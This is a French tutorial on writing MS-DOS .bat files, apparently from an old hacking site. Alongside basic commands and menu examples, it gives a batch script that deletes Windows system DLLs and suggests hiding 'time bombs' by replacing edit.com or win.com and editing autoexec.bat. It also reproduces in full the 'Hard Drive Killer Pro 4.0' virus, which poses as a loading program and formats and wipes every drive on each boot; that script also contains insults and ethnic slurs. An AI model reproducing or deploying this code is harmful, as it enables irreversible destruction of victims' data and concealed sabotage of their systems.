Les fichiers .BAT






Les .bat sont des fichiers éxécutables regroupant des lignes de commande MS-DOS. Ces fichiers peuvent-être édités à partir d'un éditeur texte quelconque: le mieux reste NotePad.
   Un "défaut" (ça dépend du point de vue) majeur avec le .bat fait maison est qu'il est indétectable aux antivirus.
   La création de fichiers .bat est simple: il suffit de s'y connaitre un peu en MS-DOS. D'abord quelqes commandes de bases:
echo off : désactive l'affichage de ce qui se passe
dir C:\WINDOWS : affiche le contenu de C:\WINDOWS
del C:\WINDOWS\*.exe : efface tous les fichiers .exe du C:\WINDOWS
echo. : saute une ligne
echo ca ecrit bien hein? : affiche ce qui est écrit après [echo]
cls : efface l'écran
pause : demande d'appuyez sur une touche pour continuer
C:\WINDOWS\telnet.exe : éxécute telnet
 
 
Note: lorsque vous tapez un batch file vous ne devez pas mettre d'accents en raison de la retranscription des caractères qui se fait mal entre DOS et Windows. Le mieux est à la limite de taper son batch file depuis l'edit de DOS.

Donc voici le genre de fichiers .bat extrèmement dangereux que vous pouvez faire:
echo off
echo this programm is created by XXX all rights reserved
pause
del C:\WINDOWS\system\*.dll
echo Ce qui va suivre est un dir de tes fichiers .dll du c:\windows\system
pause
dir C:\WINDOWS\system\*.dll
echo desole
cls
On peut aussi créer des menus d'options:
@echo off

:menu
cls
echo.
echo Menu d'options :
echo -----------------------
echo 1. Editer autoexec.bat
echo 2. Editer config.sys
echo.
echo Q. Quitter
echo.
choice /c:12Q /t:Q,60 /n Votre choix ?
if errorlevel 255 goto erreur
if errorlevel 3 goto Quitter
if errorlevel 2 goto EditConf
if errorlevel 1 goto EditAuto
if errorlevel 0 goto erreur
goto fin

:erreur
echo Il y a eu une erreur.
goto fin

:Quitter
goto fin

:EditConf
edit c:\config.sys
goto menu

:EditAuto
edit c:\autoexec.bat
goto menu
:fin

Si vous n'avez pas compris le passage sur la commande choice et errorlevel, voilà de quoi vous aider:
Aide sur CHOICE :

choice [/c:ON] [/t:X,nn] [/n] [Invite]
/c:ON Choix de lettres utilisables (ici O et N) (ON par défaut)
/t:X,nn Choisira automatiquement option X après nn secondes. X doit faire parti de la liste /c:
/n Interdit le respect de la casse
Invite Texte d'invite qui apparaît

Errorlevel correspond au choix de l'utilisateur. c'est comme la variable de réponse en Q-Basic.

Paramètre de la ligne de commande

@echo off
cls
echo.
echo Le prog est %0
echo.
echo Bonjour %1,
echo.
echo A plus, %2
 

Enregistrer sous "c:\test.bat" et taper sous dos :
c:\test.bat "votrenom" "unAutrenom"

%X correspond au Xième groupe de caractères sur la ligne de commande pour X={0;9}

Très pratique pour faire un prog d'installation :
xcopy a:\*.* %1:\%2
Ici, %1 est la lettre de lecteur et %2 le dossier.

   Voilà pour la partie de création de fichiers. Après vous pouvez avoir recour à de petites astuces. Par exemple, pour éviter à quelqu'un d'éditer les fichiers.bat, utilisez un programme spécifique qui permet de faire passer les .bat en .COM. Vous pouvez ensuite renommer le .com en .exe. Bat2exec le fait très bien sauf que les .com renommés en .exe ne peuvent pas s'ouvrir sous Windows, et sont à ouvrir sous une session DOS. Les .com peuvent s'ouvrir sous windows. Ainsi placez des bombes à retardement: vous pouvez remplacer edit.com, win.com par des .com dangereux. Vous pouvez aussi éditer l'autoexec.bat pour y placer des commandes spécifiques.
   Une autre petite astuce avec les .bat consiste à l'autodestruction de ceux-ci après éxécution. Rajoutez une ligne de commande:
del test.bat
à la fin du fichier pour que le .bat portant le nom de "test" soit effacé dans le répertoire du programme éxécuté demandant cette suppression. Ce qui veut dire que si c'est test.bat qui porte cette ligne de commande, il s'auto-détruira.

   Il existe cependant des .bat détectés par des Anti-Virus. Voici le code source d'un virus en .bat que j'ai retrouvé:
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's damn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:testdrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. If you are Australian, I feel sorry for you, accept my sympathy, you retard. >>c:\autoexec.bat
echo echo 5. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S  >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo     Q). What's the worst thing about being an egg?
echo  A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
 

   On peut noter que les .bat sont aussi à l'origines de failles dont une assez étrange sous WindowsNT. Les fichiers comportant une extension .doc peuvent être éxécutés, même s'ils ne sont pas réellement des fichiers .doc. Si un cracker écrit un programme, par exemple appelé TEST.EXE et qu'il le renomme TEST.DOC, celui-ci pourra néanmoins être éxécuté. Apparemment celà ne fonctionne que si le fichier est lancé à partir d'une ligne de commande particulière comme celles d'un .bat.

   D'autres astuces vous sont donnés dans la partie sur EXPLORER.EXE.

Clad Strife